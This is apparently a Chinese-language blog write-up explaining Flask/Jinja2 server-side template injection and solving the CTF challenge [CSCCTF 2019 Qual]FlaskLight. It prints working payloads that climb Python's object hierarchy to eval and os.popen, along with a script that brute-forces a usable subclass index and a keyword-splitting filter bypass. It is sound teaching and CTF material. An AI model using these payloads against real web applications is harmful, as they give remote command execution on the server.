目录

SSTI

无二次渲染的示例

存在二次渲染的示例

漏洞复现

[CSCCTF 2019 Qual]FlaskLight


做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是太少了,额也有可能是大佬觉得没有必要讲,不过在这里还是记录一下自己的一些解题思路,一方面也是防止自己忘记。文章会以简单容易理解的方式去理解SSTI的成因,不会设计一些复杂的问题但是还是需要拥有一些python的基础知识的,如有错误,欢迎指正

SSTI

服务器端模板注入(Server-Side Template Injection)

漏洞的主要产生点就是网页模板中的变量被二次渲染时造成的漏洞,服务端接收了用户的恶意输入后,在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,如信息泄露,命令执行,获取权限等等

JinJia模板引擎特点

  • {{ ... }}:装载一个变量,模板渲染时,会使用传进来的通命名参数将代表的值替换

  • {% ... %}:装载一个控制语句

  • {# ... #}:装载一个注释,模板渲染的时候会忽视这个值

无二次渲染的示例:

# 无二次渲染
from flask import *app = Flask(__name__)@app.route('/')
def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>{{str}}</p>'return render_template_string(html, str=str)if __name__ == '__main__':app.run()

以上代码中见到的@app.route(’/’),相当于一个路径,设置后,在url后面加上/user就可以访问了,

每一个route后面都必须由一个def函数存在

在pycharm中右击运行

右击运行,以get方式传入参数s,s的值为{{2*2}}

访问pycharm开启的URL,如下图,{{2*2}}被打印,代码没有被执行

存在二次渲染的示例:

# 有二次渲染
from flask import *app = Flask(__name__) @app.route('/')
def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>%s</p>'%(str)return render_template_string(html)if __name__ == '__main__':app.run()

右击运行,用get方式传入s的值,{{2*2}}代码被执行,2如下图,乘以2的结果为4

例如:{{}}在Jinja2中作为变量包裹标识符,在渲染的时候会把{{}}包裹的内容当做变量解析替换,

比如{{2*2}}会被解析成4

如果在某个页面中找到了如上所示的SSTI漏洞,那么我们可以利用这个注入点,通过s传参,执行

模板引擎的控制语句以及命令

基本思路:利用python中的魔术方法找到所需的函数

当然凡是使用模板的地方都可能会出现SSTI 的问题,SSTI 不属于任何一种语言


漏洞复现

''.__class__  

''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"

''.__class__.__mro__ 

由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找

''.__class__.__mro__[1].__subclasses__()  

__class__.__mro__以元组形式返还了两个关系,<class 'str'>和<class 'object'>,我们通过索引获取后面的object,再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找

这里我利用的是os模块,也就是subclasses()的第133个索引位,如下图

''.__class__.__mro__[1].__subclasses__()[133]

通过索引获取<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[133].__init__

通过__init__初始化类,查看是否有重载,出现wrapper说明已经被重载了

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__

通过__globals__寻找所有的方法及变量及参数

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']

以上找出了很多的全局变量,以字典的形式输出,这里用'__builtion__'做演示

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']

以上全局变量包含eval,利用eval再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")

命令执行ipconfig
简单来说,和SQL注入很像,循环渐进,找到库名,找表名,找到表名找字段等等,SSTI先找到父类,然后找父类下的子类,初始化后看看是否重载,再通过全局变量找到特定函数进行执行命令


[CSCCTF 2019 Qual]FlaskLight

这道题的漏洞点非常明显,一个是通过题目其实可以猜到这是一道SSTI的题型了,源码也给出了

提示,通过get类型,以search传值

既然目标明确了,那么首先调用class

/?search={{''.__class__}}

通过str寻找当前类对象的所有继承类

/?search={{''.__class__.__mro__}}

以元组形式返还了三个关系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通过索引获取后

面的object,再通过subclasses找到object对象下的所有子类

/?search={{''.__class__.__mro__[2].__subclasses__()}}

那么问题来了,眼前有这么多的子类,如何知道哪一个可以被我们利用并且成功命令执行呢,在第

一个例子里,我们通过globals全局变量获取了builtins,利用eval成功命令执行,那么是否可以编写

一个脚本批量寻找builtins,利用返回的状态码判断哪个子类可以被我们使用

import requestsurl = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81'
for i in range(1, 100):payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"newurl = url + payloadres = requests.get(url=newurl + payload)if 'builtins' in res.text:print(newurl)else:pass

执行结果如下:

那么,payload就显而易见了,利用builtins的eval执行任意命令

/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

查看flag,一开始我还以为flag在app.py文件里,以为flag形式改了,真的无语

/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI相关推荐

  1. [CSCCTF 2019 Qual]FlaskLight——直取flag?

    [CSCCTF 2019 Qual]FlaskLight 前言 白天一直在上课,晚上赶快躲进图书馆里面打打靶场.这次的题目算是很简单的一道题目了,我做完之后还去看了看其他师傅写的博客,只能感叹一声太强 ...

  2. [CSCCTF 2019 Qual] FlaskLight

    信息收集 index大致就这样,没什么信息 F12看下,发现了线索:search参数 试下ssti 基本就是ssti了 漏洞利用 config 也是 Flask模版中的一个全局对象,它包含了所有应用程 ...

  3. ssti练习之[CSCCTF 2019 Qual]FlaskLight 1

    [CSCCTF 2019 Qual]FlaskLight 1 查看网页源代码,发现里面的提示 尝试输入url http://e1f8bf68-fab7-482f-901b-12c336d1cdeb.n ...

  4. BUUCTF:[CSCCTF 2019 Qual]FlaskLight

    题目地址:https://buuoj.cn/challenges#[CSCCTF%202019%20Qual]FlaskLight ?search={{7*7}} #通过回显判断SSTI ?searc ...

  5. [CSCCTF 2019 Qual]FlaskLight SSTI注入

    进去后页面提示你是flask框架,f12里面告诉你参数名字叫做search并且用GET方法传输,十有八九是模块注入了,用7*7试试服务端模板注入攻击 - 知乎 可以发现在searched后面输出了49 ...

  6. [CSCCTF 2019 Qual]FlaskLight 记录

    这个根据题目名字,flask模板注入,找注入点 查看源码发现GET传参 直接测试模板注入 常规模板注入 试了试之前做过的模板注入,都行不通 然后百度了一波,原来这是python2的 难怪不行 {{'' ...

  7. python 数据类笔试题_一道 Python 类的笔试题详解

    r = {} class C(object): def __init__(self, a, b): self.a = a self.b = b if b == 'a': orig = super(C, ...

  8. 苹果服务器维护时间表2019,ios 内购详解(2019)

    #import "EInAppPurchasing.h" #import #if TARGET_IPHONE_SIMULATOR // 开发时模拟器使用的验证服务器地址 #defi ...

  9. 北邮计算机2019电子电路期中详解

    答案是我自己写的,顺序有点错乱,如果有发现里面有一些笔误和思考不到位的地方,欢迎大家在评论区指出来~ 链接:https://pan.baidu.com/s/16cf-lKpTDV8fiCK7Us4Lc ...

最新文章

  1. 【机器学习】周志华 读书笔记 第一章 绪论
  2. 实现两个Mysql数据库同步
  3. DataGridView打印
  4. AD域控exchange邮箱—powershell 程序暂停sleep 继续执行的方法
  5. GPU架构(三十三)
  6. 关于MPLS静态 LSP建立的问题——针对上题的另一种解法
  7. Java基本类型与类型转换咋就这么烦?
  8. html实现输入框扫码录入,使用这个工具,可以让你一行代码生成登录表单
  9. 2020辅警考试计算机知识题,2019年辅警考试题库:计算机概述-计算机软件系统
  10. SecureCRT 7.3.4 安装图解----破解图解
  11. win10隐藏网络计算机,Win10怎么连接隐藏的wifi?
  12. 【学习笔记】离散数学(Discrete Math) - 证明 Proof 3
  13. SSD算法详解default box
  14. 2023年云计算发展趋势会减缓吗?还能学习就业吗?
  15. 06-课堂笔记-包相关
  16. 人机交互与计算机科学,阐述人机交互方式的变革引领计算机科学的发展
  17. 【Unity3D Shader编程】之九 深入理解Unity5中的Standard Shader (一)屏幕水幕特效的实现
  18. Linux设备驱动子系统第二弹 - SD卡
  19. 第2章 基础设施即服务(IaaS)-2-Docker
  20. 如何找到一个网站的icon

热门文章

  1. u盘格式化后数据能恢复吗?
  2. 李建忠设计模式之总结
  3. 移动安全--37--说说Android软件壳
  4. 女朋友生气了该怎么办·《每天懂一点爱情心理学》·一
  5. 五种以上linux的发行版本,Linux 各发行版本简介
  6. oppo手机文件共享媒体服务器,OPPO云服务的相片共享空间:每一个甜蜜回忆都在眼前...
  7. 网页调用迅雷下载文件
  8. 香港城市大学协理副校长:加快生物医药、区块链等领域与四川展开科技创新合作
  9. 【专业的项目管理工具】Curio for Mac 13.0
  10. 这篇 Linux 总结的很棒啊!